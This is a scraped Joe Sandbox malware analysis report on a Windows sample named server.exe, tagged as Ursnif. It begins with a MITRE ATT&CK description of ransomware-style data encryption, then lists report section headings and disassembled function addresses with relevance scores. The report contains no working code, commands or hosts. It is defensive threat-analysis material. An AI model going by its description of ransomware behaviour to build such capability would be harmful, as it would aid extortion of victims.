Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.
Tactics:	Impact
Data Sources:	File monitoring, Kernel drivers, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report server.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Ursnif

Yara Signatures

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
server.exe

Function 004019F1 Relevance: 27.2, APIs: 18, Instructions: 160
threadsleepnativeCOMMON

Function 00791508 Relevance: 18.2, APIs: 12, Instructions: 163
encryptionCOMMON

Function 00793BD3 Relevance: 12.1, APIs: 8, Instructions: 103
memoryCOMMON

Function 0079421F Relevance: 10.6, APIs: 7, Instructions: 81
nativeCOMMON

Function 004015B0 Relevance: 10.6, APIs: 7, Instructions: 81
filetimeCOMMON

Function 0040110B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
nativeCOMMON

Function 00401000 Relevance: 3.1, APIs: 2, Instructions: 92
libraryloaderCOMMON

Function 00401459 Relevance: 1.5, APIs: 1, Instructions: 34
nativeCOMMON

Function 00793CE0 Relevance: 37.7, APIs: 25, Instructions: 222
memorystringCOMMON

Function 00797B83 Relevance: 19.6, APIs: 13, Instructions: 126
networkstringCOMMON

Function 00797FC5 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209
libraryCOMMON

Function 00796815 Relevance: 16.7, APIs: 11, Instructions: 151
timememoryCOMMON

Function 0079415A Relevance: 13.6, APIs: 9, Instructions: 72
filetimeCOMMON

Function 00794BE7 Relevance: 12.1, APIs: 8, Instructions: 75
networkCOMMON

Function 00795E40 Relevance: 10.6, APIs: 7, Instructions: 75
COMMON

Function 00796675 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68
stringCOMMON

Function 00401202 Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Function 007951D8 Relevance: 9.0, APIs: 6, Instructions: 45
networkCOMMON

Function 00792523 Relevance: 7.7, APIs: 5, Instructions: 161
memoryCOMMON

Function 00797040 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 145
stringCOMMON

Function 00401DE1 Relevance: 7.5, APIs: 5, Instructions: 19
memoryCOMMON

Function 0079213E Relevance: 6.0, APIs: 4, Instructions: 44
sleepthreadtimeCOMMON

Function 00795364 Relevance: 6.0, APIs: 4, Instructions: 29
sleepmemoryCOMMON

Function 00795251 Relevance: 4.6, APIs: 3, Instructions: 94
memoryCOMMON

Function 004014CF Relevance: 4.6, APIs: 3, Instructions: 68
memoryCOMMON

Function 007912C6 Relevance: 4.6, APIs: 3, Instructions: 58
COMMON

Function 0079790B Relevance: 3.1, APIs: 2, Instructions: 112
COMMON

Function 0040139F Relevance: 3.1, APIs: 2, Instructions: 60
stringthreadCOMMON

Function 0079472F Relevance: 3.0, APIs: 2, Instructions: 40
COMMON

Function 00795006 Relevance: 3.0, APIs: 2, Instructions: 26
memoryCOMMON

Function 00792839 Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Function 00401D3C Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Function 007961DA Relevance: 1.5, APIs: 1, Instructions: 5
memoryCOMMON

Function 004012E6 Relevance: 1.5, APIs: 1, Instructions: 5
memoryCOMMON

Function 00401BA9 Relevance: 1.5, APIs: 1, Instructions: 5
memoryCOMMON

Function 004012FB Relevance: 1.3, APIs: 1, Instructions: 70
COMMON

Function 007933F1 Relevance: 1.3, APIs: 1, Instructions: 43
memoryCOMMON